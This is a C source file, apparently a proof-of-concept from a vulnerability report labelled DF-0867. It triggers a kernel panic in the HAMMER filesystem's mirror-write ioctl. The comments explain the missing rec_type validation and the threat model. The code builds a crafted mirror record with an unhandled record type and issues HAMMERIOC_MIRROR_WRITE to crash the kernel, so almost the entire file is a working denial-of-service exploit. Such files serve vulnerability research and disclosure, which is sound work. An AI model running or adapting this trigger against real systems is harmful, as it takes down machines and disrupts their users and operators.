DF-0867 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 | /* * DF-0867 trigger: kernel panic via unvalidated rec_type in mirror_write_rec. * * The HAMMER mirror-write path (hammer_ioc_mirror_write_rec, sys/vfs/hammer/ * hammer_mirror.c) validates mrec->leaf.data_len but never mrec->leaf.base. * rec_type. When the record does not already exist, hammer_create_at_cursor() * (sys/vfs/hammer/hammer_object.c:2274) calls hammer_alloc_data() with the * attacker-controlled rec_type. hammer_alloc_data() (sys/vfs/hammer/ * hammer_ondisk.c:1634) has a switch() that only handles * INODE/DIRENTRY/EXT/FIX/PFS/SNAPSHOT/CONFIG/DATA/DB; * the default case (hammer_ondisk.c:1669) does * hpanic("rec_type %04x unknown", rec_type) -> kernel panic. * * A mirror-write stream mrec with data_len>0 and an unhandled rec_type (we * use 0x0002) reaches that hpanic and panics the kernel. The ioctl requires * SYSCAP_NOVFS_IOCTL (root), so the realistic threat is a malicious mirror * source feeding a crafted stream to a victim running `hammer mirror-write`, * or a privileged/jailed root DoS. This is a memory-safe DoS (no write * primitive -> no escalation), hence impact=dos. * * Usage: ./trigger <path-on-mounted-hammer-fs> * Build: cc -o trigger trigger.c */ #include <sys/ioctl.h> #include <sys/types.h> #include <vfs/hammer/hammer_ioctl.h> #include <vfs/hammer/hammer_disk.h> /* HAMMER_RECTYPE_* */ #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* * An unhandled rec_type: none of INODE(1)/DATA(0x10)/DIRENTRY(0x11)/DB(0x12)/ * EXT(0x13)/FIX(0x14)/PFS(0x15)/SNAPSHOT(0x16)/CONFIG(0x17). 0x0002 falls * straight through to the default hpanic. */ #define BAD_REC_TYPE 0x0002 int main(int argc, char **argv) { struct hammer_ioc_mirror_rw mir; struct hammer_ioc_mrecord_rec mrec; unsigned char databuf[64]; /* > data_len we claim */ char *path; int fd, sz; if (argc != 2) errx(2, "usage: %s <path-on-mounted-hammer-fs>", argv[0]); path = argv[1]; /* * Build a single HAMMER_MREC_TYPE_REC mirror record whose leaf carries * data_len>0 and an unhandled rec_type. The kernel panics inside * hammer_alloc_data() BEFORE it copyin()s the data payload, so the * databuf contents are irrelevant; we still supply a valid pointer. */ memset(&mrec, 0, sizeof(mrec)); mrec.head.signature = HAMMER_IOC_MIRROR_SIGNATURE; mrec.head.type = HAMMER_MREC_TYPE_REC; mrec.leaf.data_len = 16; /* must be > 0 */ mrec.head.rec_size = sizeof(mrec) + mrec.leaf.data_len; /* data_crc / rec_crc are checked only AFTER the panic; set anyway */ mrec.head.rec_crc = 0; /* * base key: choose a rec_type not in the handled switch, a unique-ish * obj_id so the btree lookup misses (ENOENT) and we hit the create * path, and a create_tid within the mirror window. */ mrec.leaf.base.rec_type = BAD_REC_TYPE; mrec.leaf.base.obj_id = 0x0000000100000001ULL; /* unlikely to exist */ mrec.leaf.base.key = 0; mrec.leaf.base.create_tid = 1; /* >= mirror.tid_beg */ mrec.leaf.base.delete_tid = 0; /* localization: misc-type record in default PFS 0; OR'd by kernel */ mrec.leaf.base.localization = HAMMER_LOCALIZE_MISC; mrec.leaf.base.obj_type = 0; mrec.leaf.base.btype = 0; memset(databuf, 0x41, sizeof(databuf)); /* * Build the ioctl argument. ubuf points to our single mrec plus the * trailing data bytes it advertises. count=0 (start of stream). */ sz = mrec.head.rec_size; memset(&mir, 0, sizeof(mir)); mir.ubuf = (void *)&mrec; mir.size = sz; mir.count = 0; mir.pfs_id = 0; /* default PFS */ /* key_beg/end/cur: wide-open window so the loop processes our mrec */ mir.key_beg.obj_id = 0; mir.key_beg.rec_type = 0; mir.key_end.obj_id = HAMMER_MAX_KEY; /* see hammer_disk.h */ mir.key_end.rec_type = 0xFFFF; mir.tid_beg = 0; mir.tid_end = 0x7FFFFFFFFFFFFFFFLL; memset(&mir.shared_uuid, 0, sizeof(mir.shared_uuid)); if ((fd = open(path, O_RDONLY)) < 0) err(1, "open %s", path); printf("[*] issuing HAMMERIOC_MIRROR_WRITE on %s " "(rec_type=0x%04x data_len=%d)\n", path, BAD_REC_TYPE, mrec.leaf.data_len); printf("[*] expected: kernel panic 'rec_type %04x unknown' " "in hammer_alloc_data\n", BAD_REC_TYPE); if (ioctl(fd, HAMMERIOC_MIRROR_WRITE, &mir) < 0) warn("HAMMERIOC_MIRROR_WRITE"); (void)printf("[!] ioctl returned (no panic): head.error=%d\n", mir.head.error); close(fd); return 0; } |